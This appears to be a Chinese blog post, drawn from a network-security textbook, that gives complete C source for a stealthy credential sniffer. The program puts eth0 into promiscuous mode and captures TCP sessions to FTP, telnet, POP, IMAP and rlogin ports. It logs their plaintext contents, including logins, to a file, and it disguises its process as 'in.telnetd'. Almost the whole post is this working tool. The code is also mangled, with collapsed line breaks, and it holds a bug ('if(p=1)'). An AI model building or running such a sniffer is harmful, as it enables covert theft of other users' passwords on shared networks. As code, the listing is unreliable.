参考陈兵老师的《网络安全》一书
环境:kali linux+gcc 6.xx
具体的实现原理是,先将自己的网卡设置为混杂模式,然后从特殊的套接字中读取以太网帧,对读取的以太帧进行筛选、去报头。得到我们想要的数据。
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<ctype.h>
#include<netdb.h>
#include<sys/file.h>
#include<sys/time.h>
#include<time.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<sys/signal.h>
#include<net/if.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<netinet/if_ether.h>#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"struct etherpacket{struct ethhdr eth;//以太网帧的头部struct iphdr ip;//IP报头struct tcphdr tcp;//tcp报头char buff[8192];//数据
}ep;struct{unsigned long saddr;//源地址unsigned long daddr;//目标地址unsigned short sport;//源端口unsigned short dport;//目标端口int bytes_read;char active;//目标主机是否处于活跃状态time_t start_time;
}victim;struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;int openintf(char *);
void clear_victim(void);
void cleanup(int);
char *hostlookup(unsigned long int);
int print_header(void);
int read_tcp(int);int filter(void){//对读取的以太帧进行筛选int p=0;if(ip->protocol!=6)return 0;if(victim.active!=0)if(victim.bytes_read>CAPLEN){fprintf(fp,"\n-- -- - [CAPLEN Exceeded]\n");clear_victim();return 0;}if(victim.active!=0)if(time(NULL)>(victim.start_time+TIMEOUT)){fprintf(fp,"\n-- -- - [Time Out]\n");return 0;}int dest=ntohs(tcp->dest);//ntohs(),将网络字节序转换为十进制字节序if(dest==21||dest==23||dest==110||dest==109||dest==143||dest==513||dest==106)p=1;if(victim.active==0)if(p=1)if(tcp->syn==1){victim.saddr=ip->saddr;victim.daddr=ip->daddr;victim.active=1;victim.sport=tcp->source;victim.dport=tcp->dest;victim.bytes_read=0;victim.start_time=time(NULL);print_header();}if(tcp->dest!=victim.dport)return 0;if(tcp->source!=victim.sport)return 0;if(ip->saddr!=victim.saddr)return 0;if(ip->daddr!=victim.daddr)return 0;if(tcp->rst==1){victim.active=0;alarm(0);fprintf(fp,"\n-- -- -[RST]\n");clear_victim();return 0;}if(tcp->fin==1){victim.active=0;alarm(0);fprintf(fp,"\n-- -- - [FIN]\n");clear_victim();return 0;}return 1;
}int read_tcp(int a){int x;while(1){x=read(s,(struct etherpacket*)&ep,sizeof(ep));//read(),从目标文件中读取以太网帧if(x>1){if(filter()==0)continue;x-=54;if(x<1)continue;return x;}}
}int print_header(void){fprintf(fp,"\n");fprintf(fp,"%s=>",hostlookup(ip->saddr));fprintf(fp,"%s[%d]\n",hostlookup(ip->daddr),ntohs(tcp->dest));
}int print_data(int datalen,char *data){int i=0;int t=0;victim.bytes_read+=datalen;for(i=0;i!=datalen;i++){if(data[i]==13){fprintf(fp,"\n");t=0;}if(isprint(data[i])){fprintf(fp,"%c",data[i]);t++;}if(t>75){t=0;fprintf(fp,"\n");}}
}char *hostlookup(unsigned long int in){static char blah[1024];struct in_addr i;struct hostent *he;i.s_addr=in;he=gethostbyaddr((char *)&i,sizeof(struct in_addr),AF_INET);//获取IP对应目标主机的主机名if(he==NULL)strcpy(blah,inet_ntoa(i));else strcpy(blah,he->h_name);return blah;
}void clear_victim(void){victim.saddr=0;victim.daddr=0;victim.sport=0;victim.dport=0;victim.active=0;victim.bytes_read=0;victim.start_time=0;
}void cleanup(int sig){fprintf(fp,"Exiting..\n");close(s);fclose(fp);exit(0);
}int openintf(char *d){int fd;struct ifreq ifr;int s;fd=socket(AF_INET,SOCK_PACKET,htons(0x800));//SOCK_PACKET用于获取以太网帧的套接字if(fd<0){perror("can't get SOCK_PACKET");exit(0);}strcpy(ifr.ifr_name,d);s=ioctl(fd,SIOCGIFFLAGS,&ifr);//I/O管道控制函数if(s<0){close(fd);perror("can't get flags");exit(0);}ifr.ifr_flags|=IFF_PROMISC;s=ioctl(fd,SIOCSIFFLAGS,&ifr);if(s<0)perror("can't set promiscuous mode");return fd;}int main(int argc,char *argv[]){sprintf(argv[0],"%s","in.telnetd");s=openintf("eth0");ip=(struct iphdr*)(((unsigned long)&ep.ip)-2);tcp=(struct tcphdr*)(((unsigned long)&ep.tcp)-2);if(argc==2)fp=stdout;else fp=fopen(TCPLOG,"at");if(fp==NULL){fprintf(stderr,"can't open log\n");exit(0);}clear_victim();for(;;){read_tcp(s);if(victim.active!=0)print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);sleep(1);fflush(fp);}return 0;
}